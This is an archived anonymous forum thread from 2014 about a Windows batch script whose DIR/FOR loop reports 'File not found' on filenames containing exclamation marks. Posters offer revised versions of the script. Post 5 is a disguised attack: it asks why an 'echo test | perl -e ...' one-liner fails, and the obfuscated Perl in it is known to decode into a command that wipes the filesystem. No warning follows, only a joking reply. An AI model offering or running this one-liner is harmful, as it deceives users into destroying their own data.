Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

cmd.exe is shitting me

Name: Anonymous 2014-05-17 17:20

I have at least one file whose filename includes at least one exclamation mark.
I'm watching the cmd.exe window, and I can see it's expanding to the correct filename, yet it keeps saying "File not found". Therefore, it must be shitting me.
The batch file is as follows:

REM @ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
ECHO started %cd% at !TIME!
@FOR /f "delims=" %%b in ('DIR /a:-d /b /s') DO (SET _temps=%%~dpb & FOR /f "tokens=3" %%c in ('DIR /a:-d /-c /s "%%b" ^| FIND "/"') DO SET _fsize=%%c & ECHO !_fsize! !_temps:%cd%\=!%%~nxb)
ECHO finished at !TIME!

Name: Anonymous 2014-05-17 17:31

improved version: @ / "=" %% (' /:- / /') ( _=%%~ & / "=" %% (' /:- /- / "%%" ^| "/"') _=%% & !_! !_:%%\=!%%~)

Name: Anonymous 2014-05-17 17:40

I just noticed the _fsize variable is gratuitous in that line.
A better FOR is then:
@FOR /f "delims=" %%b in ('DIR /a:-d /b /s') DO (SET _temps=%%~dpb & FOR /f "tokens=3" %%c in ('DIR /a:-d /-c /s "%%b" ^| FIND "/"') DO ECHO %%c !_temps:%cd%\=!%%~nxb)

>>2
:^)

Name: Anonymous 2014-05-17 19:51

It seems I'll just have to use this naive solution for the time being:
for /f "delims=" %%b in ('dir /a:-d /b /s') do ( for /f "tokens=3" %%c in ('dir /a:-d /-c /s "%%b" ^| find "/"') do echo %%c %%b)

Name: Anonymous 2014-05-17 21:21

Why doesn't the following bash script work?
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Name: Anonymous 2014-05-18 8:24

>>5
v..v..v..VALID PERL CODE XDDDDDDDDDDDDDDDDDDDDDD

Don't change these.
Name: Email:
Entire Thread Thread List